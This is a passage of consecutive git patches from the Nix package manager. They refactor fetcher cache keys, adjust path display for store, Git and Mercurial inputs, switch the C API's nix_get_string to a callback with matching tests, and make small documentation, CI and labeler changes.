Hash::parseAny(fetchers::getStrAttr(*res, "narHash"), HashAlgorithm::SHA256); auto narHash = accessor->hashPath(CanonPath::root); - fetchers::getCache()->upsert(domain, cacheKey, fetchers::Attrs({{"narHash", narHash.to_string(HashFormat::SRI, true)}})); + fetchers::getCache()->upsert(cacheKey, fetchers::Attrs({{"narHash", narHash.to_string(HashFormat::SRI, true)}})); return narHash; } diff --git a/src/libfetchers/github.cc b/src/libfetchers/github.cc index 487144925..7aa857dfe 100644 --- a/src/libfetchers/github.cc +++ b/src/libfetchers/github.cc @@ -225,13 +225,11 @@ struct GitArchiveInputScheme : InputScheme auto cache = getCache(); - auto treeHashDomain = "gitRevToTreeHash"; - Attrs treeHashKey{{"rev", rev->gitRev()}}; - auto lastModifiedDomain = "gitRevToLastModified"; - Attrs lastModifiedKey{{"rev", rev->gitRev()}}; + Cache::Key treeHashKey{"gitRevToTreeHash", {{"rev", rev->gitRev()}}}; + Cache::Key lastModifiedKey{"gitRevToLastModified", {{"rev", rev->gitRev()}}}; - if (auto treeHashAttrs = cache->lookup(treeHashDomain, treeHashKey)) { - if (auto lastModifiedAttrs = cache->lookup(lastModifiedDomain, lastModifiedKey)) { + if (auto treeHashAttrs = cache->lookup(treeHashKey)) { + if (auto lastModifiedAttrs = cache->lookup(lastModifiedKey)) { auto treeHash = getRevAttr(*treeHashAttrs, "treeHash"); auto lastModified = getIntAttr(*lastModifiedAttrs, "lastModified"); if (getTarballCache()->hasObject(treeHash)) @@ -259,8 +257,8 @@ struct GitArchiveInputScheme : InputScheme .lastModified = lastModified }; - cache->upsert(treeHashDomain, treeHashKey, Attrs{{"treeHash", tarballInfo.treeHash.gitRev()}}); - cache->upsert(lastModifiedDomain, lastModifiedKey, Attrs{{"lastModified", (uint64_t) tarballInfo.lastModified}}); + cache->upsert(treeHashKey, Attrs{{"treeHash", tarballInfo.treeHash.gitRev()}}); + cache->upsert(lastModifiedKey, Attrs{{"lastModified", (uint64_t) tarballInfo.lastModified}}); #if 0 if (upstreamTreeHash != tarballInfo.treeHash) diff --git a/src/libfetchers/tarball.cc b/src/libfetchers/tarball.cc index 285e2803c..89ef31c7e 100644 --- a/src/libfetchers/tarball.cc +++ b/src/libfetchers/tarball.cc @@ -23,14 +23,12 @@ DownloadFileResult downloadFile( { // FIXME: check store - auto domain = "file"; - - Attrs key({ + Cache::Key key{"file", {{ {"url", url}, {"name", name}, - }); + }}}; - auto cached = getCache()->lookupStorePath(domain, key, *store); + auto cached = getCache()->lookupStorePath(key, *store); auto useCached = [&]() -> DownloadFileResult { @@ -94,9 +92,9 @@ DownloadFileResult downloadFile( /* Cache metadata for all URLs in the redirect chain. */ for (auto & url : res.urls) { - key.insert_or_assign("url", url); + key.second.insert_or_assign("url", url); infoAttrs.insert_or_assign("url", *res.urls.rbegin()); - getCache()->upsert(domain, key, *store, infoAttrs, *storePath); + getCache()->upsert(key, *store, infoAttrs, *storePath); } return { @@ -111,12 +109,9 @@ DownloadTarballResult downloadTarball( const std::string & url, const Headers & headers) { - auto domain = "tarball"; - Attrs cacheKey{ - {"url", url}, - }; + Cache::Key cacheKey{"tarball", {{"url", url}}}; - auto cached = getCache()->lookupExpired(domain, cacheKey); + auto cached = getCache()->lookupExpired(cacheKey); auto attrsToResult = [&](const Attrs & infoAttrs) { @@ -175,8 +170,8 @@ DownloadTarballResult downloadTarball( /* Insert a cache entry for every URL in the redirect chain. */ for (auto & url : res->urls) { - cacheKey.insert_or_assign("url", url); - getCache()->upsert(domain, cacheKey, infoAttrs); + cacheKey.second.insert_or_assign("url", url); + getCache()->upsert(cacheKey, infoAttrs); } // FIXME: add a cache entry for immutableUrl? That could allow diff --git a/src/libfetchers/unix/git.cc b/src/libfetchers/unix/git.cc index bb1bff7ab..1d7c719a6 100644 --- a/src/libfetchers/unix/git.cc +++ b/src/libfetchers/unix/git.cc @@ -427,36 +427,34 @@ struct GitInputScheme : InputScheme uint64_t getLastModified(const RepoInfo & repoInfo, const std::string & repoDir, const Hash & rev) const { - auto domain = "gitLastModified"; - Attrs key{{"rev", rev.gitRev()}}; + Cache::Key key{"gitLastModified", {{"rev", rev.gitRev()}}}; auto cache = getCache(); - if (auto res = cache->lookup(domain, key)) + if (auto res = cache->lookup(key)) return getIntAttr(*res, "lastModified"); auto lastModified = GitRepo::openRepo(repoDir)->getLastModified(rev); - cache->upsert(domain, key, {{"lastModified", lastModified}}); + cache->upsert(key, {{"lastModified", lastModified}}); return lastModified; } uint64_t getRevCount(const RepoInfo & repoInfo, const std::string & repoDir, const Hash & rev) const { - auto domain = "gitRevCount"; - Attrs key{{"rev", rev.gitRev()}}; + Cache::Key key{"gitRevCount", {{"rev", rev.gitRev()}}}; auto cache = getCache(); - if (auto revCountAttrs = cache->lookup(domain, key)) + if (auto revCountAttrs = cache->lookup(key)) return getIntAttr(*revCountAttrs, "revCount"); Activity act(*logger, lvlChatty, actUnknown, fmt("getting Git revision count of '%s'", repoInfo.url)); auto revCount = GitRepo::openRepo(repoDir)->getRevCount(rev); - cache->upsert(domain, key, Attrs{{"revCount", revCount}}); + cache->upsert(key, Attrs{{"revCount", revCount}}); return revCount; } diff --git a/src/libfetchers/unix/mercurial.cc b/src/libfetchers/unix/mercurial.cc index 42757f2db..0dd1acf45 100644 --- a/src/libfetchers/unix/mercurial.cc +++ b/src/libfetchers/unix/mercurial.cc @@ -224,17 +224,16 @@ struct MercurialInputScheme : InputScheme if (!input.getRef()) input.attrs.insert_or_assign("ref", "default"); - auto revInfoDomain = "hgRev"; auto revInfoKey = [&](const Hash & rev) { if (rev.algo != HashAlgorithm::SHA1) throw Error("Hash '%s' is not supported by Mercurial. Only sha1 is supported.", rev.to_string(HashFormat::Base16, true)); - return Attrs{ + return Cache::Key{"hgRev", { {"store", store->storeDir}, {"name", name}, {"rev", input.getRev()->gitRev()} - }; + }}; }; auto makeResult = [&](const Attrs & infoAttrs, const StorePath & storePath) -> StorePath @@ -246,20 +245,19 @@ struct MercurialInputScheme : InputScheme }; /* Check the cache for the most recent rev for this URL/ref. */ - auto refToRevDomain = "hgRefToRev"; - Attrs refToRevKey{ + Cache::Key refToRevKey{"hgRefToRev", { {"url", actualUrl}, {"ref", *input.getRef()} - }; + }}; if (!input.getRev()) { - if (auto res = getCache()->lookupWithTTL(refToRevDomain, refToRevKey)) + if (auto res = getCache()->lookupWithTTL(refToRevKey)) input.attrs.insert_or_assign("rev", getRevAttr(*res, "rev").gitRev()); } /* If we have a rev, check if we have a cached store path. */ if (auto rev = input.getRev()) { - if (auto res = getCache()->lookupStorePath(revInfoDomain, revInfoKey(*rev), *store)) + if (auto res = getCache()->lookupStorePath(revInfoKey(*rev), *store)) return makeResult(res->value, res->storePath); } @@ -309,7 +307,7 @@ struct MercurialInputScheme : InputScheme /* Now that we have the rev, check the cache again for a cached store path. */ - if (auto res = getCache()->lookupStorePath(revInfoDomain, revInfoKey(rev), *store)) + if (auto res = getCache()->lookupStorePath(revInfoKey(rev), *store)) return makeResult(res->value, res->storePath); Path tmpDir = createTempDir(); @@ -327,9 +325,9 @@ struct MercurialInputScheme : InputScheme }); if (!origRev) - getCache()->upsert(refToRevDomain, refToRevKey, {{"rev", rev.gitRev()}}); + getCache()->upsert(refToRevKey, {{"rev", rev.gitRev()}}); - getCache()->upsert(revInfoDomain, revInfoKey(rev), *store, infoAttrs, storePath); + getCache()->upsert(revInfoKey(rev), *store, infoAttrs, storePath); return makeResult(infoAttrs, std::move(storePath)); } From bcda38c27282124f37c2d9356539886291801f6e Mon Sep 17 00:00:00 2001 From: John Ericson Date: Sat, 13 Apr 2024 10:17:58 -0400 Subject: [PATCH 0458/1251] Have `clang-format` indent conditional CPP This reflects the style I've been introducing in tandem with Windows support. See https://clang.llvm.org/docs/ClangFormatStyleOptions.html#indentppdirectives for this configuration option. --- .clang-format | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.clang-format b/.clang-format index 9c0c0946a..73eac7ef6 100644 --- a/.clang-format +++ b/.clang-format @@ -28,3 +28,5 @@ EmptyLineBeforeAccessModifier: Leave #PackConstructorInitializers: BinPack BreakBeforeBinaryOperators: NonAssignment AlwaysBreakBeforeMultilineStrings: true +IndentPPDirectives: AfterHash +PPIndentWidth: 2 From fa01db9626a2e7ba97d9fea013f2f80f14251987 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 15 Apr 2024 17:38:29 +0200 Subject: [PATCH 0459/1251] StorePathAccessor: Fix path display Set the prefix to the store path to fix messages like "copying '/' to the store" to "copying '/nix/store/bla' to the store". --- src/libfetchers/fs-input-accessor.cc | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/src/libfetchers/fs-input-accessor.cc b/src/libfetchers/fs-input-accessor.cc index ee24c621a..d85363808 100644 --- a/src/libfetchers/fs-input-accessor.cc +++ b/src/libfetchers/fs-input-accessor.cc @@ -24,7 +24,10 @@ ref makeStorePathAccessor( const StorePath & storePath) { // FIXME: should use `store->getFSAccessor()` - return makeFSInputAccessor(std::filesystem::path { store->toRealPath(storePath) }); + auto root = std::filesystem::path { store->toRealPath(storePath) }; + auto accessor = makeFSInputAccessor(root); + accessor->setPathDisplay(root); + return accessor; } SourcePath getUnfilteredRootPath(CanonPath path) From 6df58a0891ecec7beb09b6459d432a005aafc7d4 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 15 Apr 2024 18:22:33 +0200 Subject: [PATCH 0460/1251] MercurialInputScheme: Improve path display --- src/libfetchers/unix/mercurial.cc | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/src/libfetchers/unix/mercurial.cc b/src/libfetchers/unix/mercurial.cc index a2702338f..4e0b26274 100644 --- a/src/libfetchers/unix/mercurial.cc +++ b/src/libfetchers/unix/mercurial.cc @@ -352,7 +352,11 @@ struct MercurialInputScheme : InputScheme auto storePath = fetchToStore(store, input); - return {makeStorePathAccessor(store, storePath), input}; + auto accessor = makeStorePathAccessor(store, storePath); + + accessor->setPathDisplay("«" + input.to_string() + "»"); + + return {accessor, input}; } bool isLocked(const Input & input) const override From 25265a9365ee8ad5917919be61d2c948a5dc6ffb Mon Sep 17 00:00:00 2001 From: crayor1 <126188437+crayor1@users.noreply.github.com> Date: Tue, 16 Apr 2024 14:36:41 +0200 Subject: [PATCH 0461/1251] Double word is superfluous --- doc/manual/src/protocols/json/store-object-info.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/src/protocols/json/store-object-info.md b/doc/manual/src/protocols/json/store-object-info.md index ba4ab098f..d462f74f8 100644 --- a/doc/manual/src/protocols/json/store-object-info.md +++ b/doc/manual/src/protocols/json/store-object-info.md @@ -83,7 +83,7 @@ This information is not intrinsic to the store object, but about how it is store ## Computed closure fields -These fields are not stored at all, but computed by traverising the other other fields across all the store objects in a [closure]. +These fields are not stored at all, but computed by traverising the other fields across all the store objects in a [closure]. * `closureSize`: From 548a12c1fe9dc9b6065b575db0337033385e18f3 Mon Sep 17 00:00:00 2001 From: crayor1 <126188437+crayor1@users.noreply.github.com> Date: Tue, 16 Apr 2024 15:54:45 +0200 Subject: [PATCH 0462/1251] Fix typo in hacking.md --- doc/manual/src/contributing/hacking.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/src/contributing/hacking.md b/doc/manual/src/contributing/hacking.md index 2ff70f500..d56ac29a4 100644 --- a/doc/manual/src/contributing/hacking.md +++ b/doc/manual/src/contributing/hacking.md @@ -196,7 +196,7 @@ In order to facilitate this, Nix has some support for being built out of tree ## System type -Nix uses a string with he following format to identify the *system type* or *platform* it runs on: +Nix uses a string with the following format to identify the *system type* or *platform* it runs on: ``` -[-] From 79363b22730cb1a0e20e34b9c9f63f5568217926 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 16 Apr 2024 15:38:44 +0200 Subject: [PATCH 0463/1251] MountedInputAccessor, FilteringInputAccessor: Respect the path display prefix/suffix This was causing Git paths not to be rendered correctly. --- src/libfetchers/filtering-input-accessor.cc | 2 +- src/libfetchers/filtering-input-accessor.hh | 4 +++- src/libfetchers/mounted-input-accessor.cc | 4 +++- 3 files changed, 7 insertions(+), 3 deletions(-) diff --git a/src/libfetchers/filtering-input-accessor.cc b/src/libfetchers/filtering-input-accessor.cc index 32343abc4..e0cbfd905 100644 --- a/src/libfetchers/filtering-input-accessor.cc +++ b/src/libfetchers/filtering-input-accessor.cc @@ -38,7 +38,7 @@ std::string FilteringInputAccessor::readLink(const CanonPath & path) std::string FilteringInputAccessor::showPath(const CanonPath & path) { - return next->showPath(prefix / path); + return displayPrefix + next->showPath(prefix / path) + displaySuffix; } void FilteringInputAccessor::checkAccess(const CanonPath & path) diff --git a/src/libfetchers/filtering-input-accessor.hh b/src/libfetchers/filtering-input-accessor.hh index 8111a72c5..133a6cee3 100644 --- a/src/libfetchers/filtering-input-accessor.hh +++ b/src/libfetchers/filtering-input-accessor.hh @@ -27,7 +27,9 @@ struct FilteringInputAccessor : InputAccessor : next(src.accessor) , prefix(src.path) , makeNotAllowedError(std::move(makeNotAllowedError)) - { } + { + displayPrefix.clear(); + } std::string readFile(const CanonPath & path) override; diff --git a/src/libfetchers/mounted-input-accessor.cc b/src/libfetchers/mounted-input-accessor.cc index 6f397eb17..b1eeaa97d 100644 --- a/src/libfetchers/mounted-input-accessor.cc +++ b/src/libfetchers/mounted-input-accessor.cc @@ -9,6 +9,8 @@ struct MountedInputAccessor : InputAccessor MountedInputAccessor(std::map> _mounts) : mounts(std::move(_mounts)) { + displayPrefix.clear(); + // Currently we require a root filesystem. This could be relaxed. assert(mounts.contains(CanonPath::root)); @@ -48,7 +50,7 @@ struct MountedInputAccessor : InputAccessor std::string showPath(const CanonPath & path) override { auto [accessor, subpath] = resolve(path); - return accessor->showPath(subpath); + return displayPrefix + accessor->showPath(subpath) + displaySuffix; } std::pair, CanonPath> resolve(CanonPath path) From 6892c9803c1559a7bfda57b7a5afdd6b62c4516e Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 16 Apr 2024 16:11:57 +0200 Subject: [PATCH 0464/1251] GitInputScheme: Fix path display for workdirs and submodules --- src/libfetchers/unix/git.cc | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/src/libfetchers/unix/git.cc b/src/libfetchers/unix/git.cc index 45e62ebe1..18915c0a7 100644 --- a/src/libfetchers/unix/git.cc +++ b/src/libfetchers/unix/git.cc @@ -645,6 +645,7 @@ struct GitInputScheme : InputScheme auto submoduleInput = fetchers::Input::fromAttrs(std::move(attrs)); auto [submoduleAccessor, submoduleInput2] = submoduleInput.getAccessor(store); + submoduleAccessor->setPathDisplay("«" + submoduleInput.to_string() + "»"); mounts.insert_or_assign(submodule.path, submoduleAccessor); } @@ -681,6 +682,8 @@ struct GitInputScheme : InputScheme exportIgnore, makeNotAllowedError(repoInfo.url)); + accessor->setPathDisplay(repoInfo.url); + /* If the repo has submodules, return a mounted input accessor consisting of the accessor for the top-level repo and the accessors for the submodule workdirs. */ @@ -697,6 +700,7 @@ struct GitInputScheme : InputScheme auto submoduleInput = fetchers::Input::fromAttrs(std::move(attrs)); auto [submoduleAccessor, submoduleInput2] = submoduleInput.getAccessor(store); + submoduleAccessor->setPathDisplay("«" + submoduleInput.to_string() + "»"); /* If the submodule is dirty, mark this repo dirty as well. */ From 28e0f0a04cefee9820492b89ca54a93f6790b3ff Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 16 Apr 2024 17:43:17 +0200 Subject: [PATCH 0465/1251] Fix another typo --- doc/manual/src/protocols/json/store-object-info.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/src/protocols/json/store-object-info.md b/doc/manual/src/protocols/json/store-object-info.md index d462f74f8..179cafbb4 100644 --- a/doc/manual/src/protocols/json/store-object-info.md +++ b/doc/manual/src/protocols/json/store-object-info.md @@ -83,7 +83,7 @@ This information is not intrinsic to the store object, but about how it is store ## Computed closure fields -These fields are not stored at all, but computed by traverising the other fields across all the store objects in a [closure]. +These fields are not stored at all, but computed by traversing the other fields across all the store objects in a [closure]. * `closureSize`: From c75b143b6caf1e671c7f3a70dd91eb20c3036ceb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Mon, 15 Apr 2024 21:05:52 +0200 Subject: [PATCH 0466/1251] C API: nix_get_string now accepts a callback to return the value --- doc/external-api/README.md | 37 +++++++++++++++++--------- src/libexpr-c/nix_api_value.cc | 12 ++++----- src/libexpr-c/nix_api_value.h | 8 +++--- tests/unit/libexpr/nix_api_expr.cc | 20 ++++++++------ tests/unit/libexpr/nix_api_external.cc | 7 ++++- tests/unit/libexpr/nix_api_value.cc | 16 +++++++---- 6 files changed, 65 insertions(+), 35 deletions(-) diff --git a/doc/external-api/README.md b/doc/external-api/README.md index 8a6f1c085..167c02199 100644 --- a/doc/external-api/README.md +++ b/doc/external-api/README.md @@ -40,24 +40,37 @@ Nix expression `builtins.nixVersion`. #include #include #include +#include +#include // NOTE: This example lacks all error handling. Production code must check for // errors, as some return values will be undefined. -int main() { - nix_libexpr_init(NULL); - Store* store = nix_store_open(NULL, "dummy://", NULL); - EvalState* state = nix_state_create(NULL, NULL, store); // empty search path (NIX_PATH) - Value *value = nix_alloc_value(NULL, state); +void my_get_string_cb(const char * start, unsigned int n, char ** user_data) +{ + *user_data = strdup(start); +} - nix_expr_eval_from_string(NULL, state, "builtins.nixVersion", ".", value); - nix_value_force(NULL, state, value); - printf("Nix version: %s\n", nix_get_string(NULL, value)); +int main() +{ + nix_libexpr_init(NULL); - nix_gc_decref(NULL, value); - nix_state_free(state); - nix_store_free(store); - return 0; + Store * store = nix_store_open(NULL, "dummy://", NULL); + EvalState * state = nix_state_create(NULL, NULL, store); // empty search path (NIX_PATH) + Value * value = nix_alloc_value(NULL, state); + + nix_expr_eval_from_string(NULL, state, "builtins.nixVersion", ".", value); + nix_value_force(NULL, state, value); + + char * version; + nix_get_string(NULL, value, my_get_string_cb, version); + printf("Nix version: %s\n", version); + + free(version); + nix_gc_decref(NULL, value); + nix_state_free(state); + nix_store_free(store); + return 0; } ``` diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc index 817464fa8..6592591db 100644 --- a/src/libexpr-c/nix_api_value.cc +++ b/src/libexpr-c/nix_api_value.cc @@ -15,9 +15,9 @@ #include "value/context.hh" #ifdef HAVE_BOEHMGC -# include "gc/gc.h" -# define GC_INCLUDE_NEW 1 -# include "gc_cpp.h" +# include "gc/gc.h" +# define GC_INCLUDE_NEW 1 +# include "gc_cpp.h" #endif // Helper function to throw an exception if value is null @@ -166,16 +166,16 @@ bool nix_get_bool(nix_c_context * context, const Value * value) NIXC_CATCH_ERRS_RES(false); } -const char * nix_get_string(nix_c_context * context, const Value * value) +nix_err nix_get_string(nix_c_context * context, const Value * value, nix_get_string_callback callback, void * user_data) { if (context) context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); assert(v.type() == nix::nString); - return v.c_str(); + call_nix_get_string_callback(v.c_str(), callback, user_data); } - NIXC_CATCH_ERRS_NULL + NIXC_CATCH_ERRS } const char * nix_get_path_string(nix_c_context * context, const Value * value) diff --git a/src/libexpr-c/nix_api_value.h b/src/libexpr-c/nix_api_value.h index c8e85d181..e6744e610 100644 --- a/src/libexpr-c/nix_api_value.h +++ b/src/libexpr-c/nix_api_value.h @@ -178,10 +178,13 @@ bool nix_get_bool(nix_c_context * context, const Value * value); * * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect + * @param[in] callback Called with the string value. + * @param[in] user_data optional, arbitrary data, passed to the callback when it's called. * @return string - * @return NULL in case of error. + * @return error code, NIX_OK on success. */ -const char * nix_get_string(nix_c_context * context, const Value * value); +nix_err +nix_get_string(nix_c_context * context, const Value * value, nix_get_string_callback callback, void * user_data); /** @brief Get path as string * @param[out] context Optional, stores error information @@ -482,7 +485,6 @@ const StorePath * nix_realised_string_get_store_path(nix_realised_string * reali */ void nix_realised_string_free(nix_realised_string * realised_string); - // cffi end #ifdef __cplusplus } diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc index f5c66536d..0818f1cab 100644 --- a/tests/unit/libexpr/nix_api_expr.cc +++ b/tests/unit/libexpr/nix_api_expr.cc @@ -17,9 +17,10 @@ TEST_F(nix_api_expr_test, nix_expr_eval_from_string) { nix_expr_eval_from_string(nullptr, state, "builtins.nixVersion", ".", value); nix_value_force(nullptr, state, value); - auto result = nix_get_string(nullptr, value); + std::string result; + nix_get_string(nullptr, value, OBSERVE_STRING(result)); - ASSERT_STREQ(PACKAGE_VERSION, result); + ASSERT_STREQ(PACKAGE_VERSION, result.c_str()); } TEST_F(nix_api_expr_test, nix_expr_eval_add_numbers) @@ -47,7 +48,8 @@ TEST_F(nix_api_expr_test, nix_expr_eval_drv) nix_value_call(ctx, stateResult, valueFn, value, valueResult); ASSERT_EQ(NIX_TYPE_STRING, nix_get_type(nullptr, valueResult)); - std::string p = nix_get_string(nullptr, valueResult); + std::string p; + nix_get_string(nullptr, valueResult, OBSERVE_STRING(p)); std::string pEnd = "-myname"; ASSERT_EQ(pEnd, p.substr(p.size() - pEnd.size())); @@ -69,7 +71,8 @@ TEST_F(nix_api_expr_test, nix_build_drv) nix_expr_eval_from_string(nullptr, state, expr, ".", value); Value * drvPathValue = nix_get_attr_byname(nullptr, value, state, "drvPath"); - const char * drvPath = nix_get_string(nullptr, drvPathValue); + std::string drvPath; + nix_get_string(nullptr, drvPathValue, OBSERVE_STRING(drvPath)); std::string p = drvPath; std::string pEnd = "-myname.drv"; @@ -78,18 +81,19 @@ TEST_F(nix_api_expr_test, nix_build_drv) // NOTE: .drvPath should be usually be ignored. Output paths are more versatile. // See https://github.com/NixOS/nix/issues/6507 // Use e.g. nix_string_realise to realise the output. - StorePath * drvStorePath = nix_store_parse_path(ctx, store, drvPath); + StorePath * drvStorePath = nix_store_parse_path(ctx, store, drvPath.c_str()); ASSERT_EQ(true, nix_store_is_valid_path(ctx, store, drvStorePath)); Value * outPathValue = nix_get_attr_byname(ctx, value, state, "outPath"); - const char * outPath = nix_get_string(ctx, outPathValue); + std::string outPath; + nix_get_string(ctx, outPathValue, OBSERVE_STRING(outPath)); p = outPath; pEnd = "-myname"; ASSERT_EQ(pEnd, p.substr(p.size() - pEnd.size())); ASSERT_EQ(true, drvStorePath->path.isDerivation()); - StorePath * outStorePath = nix_store_parse_path(ctx, store, outPath); + StorePath * outStorePath = nix_store_parse_path(ctx, store, outPath.c_str()); ASSERT_EQ(false, nix_store_is_valid_path(ctx, store, outStorePath)); nix_store_realise(ctx, store, drvStorePath, nullptr, nullptr); @@ -142,7 +146,7 @@ TEST_F(nix_api_expr_test, nix_expr_realise_context) }} a path: ${builtins.toFile "just-a-file" "ooh file good"} a derivation path by itself: ${ - builtins.unsafeDiscardOutputDependency + builtins.unsafeDiscardOutputDependency (derivation { name = "not-actually-built-yet"; system = builtins.currentSystem; diff --git a/tests/unit/libexpr/nix_api_external.cc b/tests/unit/libexpr/nix_api_external.cc index 7e2caed1b..2391f8317 100644 --- a/tests/unit/libexpr/nix_api_external.cc +++ b/tests/unit/libexpr/nix_api_external.cc @@ -6,7 +6,9 @@ #include "nix_api_expr_internal.h" #include "nix_api_value.h" #include "nix_api_external.h" + #include "tests/nix_api_expr.hh" +#include "tests/string_callback.hh" #include @@ -58,6 +60,9 @@ TEST_F(nix_api_expr_test, nix_expr_eval_external) nix_value_call(ctx, state, valueFn, value, valueResult); - ASSERT_STREQ("nix-external", nix_get_string(nullptr, valueResult)); + std::string string_value; + nix_get_string(nullptr, valueResult, OBSERVE_STRING(string_value)); + ASSERT_STREQ("nix-external", string_value.c_str()); } + } diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc index 726960638..7fbb2bbdc 100644 --- a/tests/unit/libexpr/nix_api_value.cc +++ b/tests/unit/libexpr/nix_api_value.cc @@ -6,6 +6,7 @@ #include "nix_api_value.h" #include "tests/nix_api_expr.hh" +#include "tests/string_callback.hh" #include #include @@ -53,13 +54,15 @@ TEST_F(nix_api_expr_test, nix_value_set_get_bool) TEST_F(nix_api_expr_test, nix_value_set_get_string) { - ASSERT_EQ(nullptr, nix_get_string(ctx, nullptr)); - ASSERT_DEATH(nix_get_string(ctx, value), ""); + std::string string_value; + ASSERT_EQ(NIX_ERR_UNKNOWN, nix_get_string(ctx, nullptr, OBSERVE_STRING(string_value))); + ASSERT_DEATH(nix_get_string(ctx, value, OBSERVE_STRING(string_value)), ""); const char * myString = "some string"; nix_init_string(ctx, value, myString); - ASSERT_STREQ(myString, nix_get_string(ctx, value)); + nix_get_string(ctx, value, OBSERVE_STRING(string_value)); + ASSERT_STREQ(myString, string_value.c_str()); ASSERT_STREQ("a string", nix_get_typename(ctx, value)); ASSERT_EQ(NIX_TYPE_STRING, nix_get_type(ctx, value)); } @@ -162,11 +165,14 @@ TEST_F(nix_api_expr_test, nix_build_and_init_attr) ASSERT_EQ(false, nix_has_attr_byname(ctx, value, state, "no-value")); out_value = nix_get_attr_byname(ctx, value, state, "b"); - ASSERT_STREQ("foo", nix_get_string(ctx, out_value)); + std::string string_value; + nix_get_string(ctx, out_value, OBSERVE_STRING(string_value)); + ASSERT_STREQ("foo", string_value.c_str()); nix_gc_decref(nullptr, out_value); out_value = nix_get_attr_byidx(ctx, value, state, 1, out_name); - ASSERT_STREQ("foo", nix_get_string(ctx, out_value)); + nix_get_string(ctx, out_value, OBSERVE_STRING(string_value)); + ASSERT_STREQ("foo", string_value.c_str()); ASSERT_STREQ("b", *out_name); nix_gc_decref(nullptr, out_value); From 94c861bebfd7d84607aa3d52617adea8c7eb5222 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 17 Apr 2024 12:50:55 +0200 Subject: [PATCH 0467/1251] labeler.yml: Add contributor-experience Not exhaustive perhaps, but a good start. --- .github/labeler.yml | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/.github/labeler.yml b/.github/labeler.yml index b1b18c488..280265dbe 100644 --- a/.github/labeler.yml +++ b/.github/labeler.yml @@ -1,3 +1,10 @@ +"contributor-experience": + - changed-files: + - any-glob-to-any-file: "CONTRIBUTING.md" + - any-glob-to-any-file: ".github/ISSUE_TEMPLATE/*" + - any-glob-to-any-file: ".github/PULL_REQUEST_TEMPLATE.md" + - any-glob-to-any-file: "doc/manual/src/contributing/**" + "documentation": - changed-files: - any-glob-to-any-file: "doc/manual/*" From 45a1142a8e771aeccd19c83e3a52c5dade510c83 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 17 Apr 2024 13:11:52 +0200 Subject: [PATCH 0468/1251] devShell: enable API docs Affects both the deps and the configure flags in configurePhase. --- package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/package.nix b/package.nix index c9e50c399..1e5b9e449 100644 --- a/package.nix +++ b/package.nix @@ -94,8 +94,8 @@ # Whether to build the internal/external API docs, can be done separately from # everything else. -, enableInternalAPIDocs ? false -, enableExternalAPIDocs ? false +, enableInternalAPIDocs ? forDevShell +, enableExternalAPIDocs ? forDevShell # Whether to install unit tests. This is useful when cross compiling # since we cannot run them natively during the build, but can do so From a863a75f0b205e5c4ed09346b6b92322a7925ea4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= <7226587+thufschmitt@users.noreply.github.com> Date: Wed, 17 Apr 2024 14:34:53 +0200 Subject: [PATCH 0469/1251] Remove the giy-submodule test from Github actions It causes the CI to time out, so let's just run it on Hydra --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index cfd1dec5d..2b8eac49d 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -166,4 +166,4 @@ jobs: - uses: actions/checkout@v4 - uses: DeterminateSystems/nix-installer-action@main - uses: DeterminateSystems/magic-nix-cache-action@main - - run: nix build -L .#hydraJobs.tests.githubFlakes .#hydraJobs.tests.tarballFlakes .#hydraJobs.tests.gitSubmodules + - run: nix build -L .#hydraJobs.tests.githubFlakes .#hydraJobs.tests.tarballFlakes From 1f1cd97c715680369c36bb740e05636f0d29a1ed Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Wed, 17 Apr 2024 15:21:17 +0200 Subject: [PATCH 0470/1251] C API: Add section in Nix manual (#10519) --- doc/manual/src/contributing/documentation.md | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/doc/manual/src/contributing/documentation.md b/doc/manual/src/contributing/documentation.md index 88b0bdaa9..e7f94ab8c 100644 --- a/doc/manual/src/contributing/documentation.md +++ b/doc/manual/src/contributing/documentation.md @@ -206,3 +206,22 @@ or inside `nix-shell` or `nix develop`: # make internal-api-html # xdg-open ./outputs/doc/share/doc/nix/internal-api/html/index.html ``` + +## C API documentation (experimental) + +[C API documentation] is available online. +You can also build and view it yourself: + +[C API documentation]: https://hydra.nixos.org/job/nix/master/external-api-docs/latest/download-by-type/doc/external-api-docs + +```console +# nix build .#hydraJobs.external-api-docs +# xdg-open ./result/share/doc/nix/external-api/html/index.html +``` + +or inside `nix-shell` or `nix develop`: + +``` +# make external-api-html +# xdg-open ./outputs/doc/share/doc/nix/external-api/html/index.html +``` From 7a1135901dd161318d70a7fdc03124e20c175eb9 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 17 Apr 2024 15:34:40 +0200 Subject: [PATCH 